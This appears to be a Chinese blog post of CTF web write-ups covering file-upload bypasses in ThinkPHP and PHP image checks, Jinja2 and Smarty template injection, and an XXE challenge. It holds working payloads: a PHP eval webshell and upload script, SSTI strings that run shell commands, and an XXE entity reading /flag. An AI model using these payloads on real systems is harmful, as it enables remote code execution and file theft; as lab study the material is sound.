每日一题(七)

Aimerl0 等级 54 0 0

写在前面

接下来准备挑一些历年大赛中文件上传类型的题来练,学习一些新的套路

[RoarCTF 2019]Simple Upload

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload();
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

审计,首先检测并且过滤.php文件的上传,然后$upload->allowExts是错误的写法,所以设置的附件上传类型检测无效,$upload->upload()调用上传函数时不带参数为多文件上传,整个$_FILES['file']数组的文件都会被上传,可以利用这一点绕过对.php的检测,但是传上去后无法显示 php 文件的文件名

查开发手册得知 Think PHP 开发时,文件上传的路径是home/index/upload,需要在路径前面加上index.php因为 Think PHP 是单文件入口,我理解为子目录都在index.php路由下

上传后文件名字由uniqid函数随机生成,该函数根据时间生成,用脚本批量上传文件后得到正常的文件名字后,可以爆破出 php 文件名字

import time
import requests

# 获取正常上传后文件路径名
url = 'http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
file2 = {'file[]':open('L:\\Users\\C1everF0x\\Desktop\\1.php','r')}
file3 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)

# 爆破
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
    for j in dir:
        for x in dir:
            for y in dir:
                for z in dir:
                    url='http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/Public/Uploads/2021-03-03/603f9788{}{}{}{}{}.php'.format(i,j,x,y,z)
                    r = requests.get(url)
                    # print(url)
                    time.sleep(2)
                    if r.status_code== 200:
                        print(url)
                        break

由于 BUU 平台原因爆破的时候很容易掉线

非预期解:.<>php 可以绕过检测

import requests

url = "http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_POST['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

访问马的页面直接出 flag

参考资料

ThinkPHP3.2完全开发手册

Thinkphp错误使用Upload类导致getshell

[RoarCTF 2019]Simple Upload

RoarCTF-2019-Simple-Upload

[RoarCTF 2019]Simple Upload

[RoarCTF 2019]Simple Upload

[HarekazeCTF2019]Avatar Uploader 1

题目给了源码

https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/tree/master/avatar_uploader_1/server

upload.php里有对文件检测的具体代码

<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

有两个 check 函数,一个用finfo_file函数检查文件类型,要求文件是 png,另一个用getimagesize函数检查文件的长宽,函数返回一个数组,要求文件又不是 png ,绕过getimagesize可拿到 flag

关于两个函数如何检测文件是否为 png:

finfo_file:打开文件,检测文件幻数是否为 png 的文件头格式

getimagesize:通过返回的数组的第三个索引值是否为 3 来判断是否为 png

例如:

Array
(
    [0] => 290
    [1] => 69
    [2] => 3
    [3] => width="290" height="69"
    [bits] => 8
    [mime] => image/png
)
  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");

截取一个 png 文件的十六进制头,上传文件拿到 flag

[BJDCTF 2nd]fake google

源码中有提示<!--ssssssti & a little trick -->,用经典老图测试出来是 jinja2 的 ssti

通用 payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].eval("__import__(‘os‘).popen(‘<command>‘).read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

拿到 flag

[CISCN2019 华东南赛区]Web11

页面有一句Build With Smarty !,猜测是 smarty 的模板注入,跟 ip 有关,猜测注入点是 xff 头

参考资料

Smarty SSTI

模板中的{if}标签中可以执行全部的 php 函数

payload:

x-forwarded-for: {if readfile('/flag')}{/if}
# 其他的读文件命令也行,cat、var_dump、echo等

2021.3.7

跟学长接了一个项目做,项目做完之前每日一题随缘更新,希望能从中学到新东西

[CSAWQual 2019]Web_Unagi

XXE 的题目,有 slampe.xml 样本,about.php里面有提示Flag is located at /flag, come get it

xml 文件内容是常规的 XXE payload,但是有 waf ,可以 utf-8utf-16 来绕过

<?xml version='1.0'?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  s
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

传上去拿到 flag

预览图
收藏
评论区
守株待兔
最新文章
openGauss——docker安装 2021-05-02 15:42
openGauss——VMware安装 2021-05-02 15:42
每日一题(六) 2021-05-02 15:37
每日一题(五) 2021-05-02 15:36
每日一题(四) 2021-05-02 15:35
每日一题(三) 2021-05-02 15:35
每日一题(二) 2021-05-02 15:34
每日一题(一) 2021-05-02 15:33
网络渗透测试实验四 2021-05-02 15:29
网络渗透测试实验三 2021-05-02 15:29

导读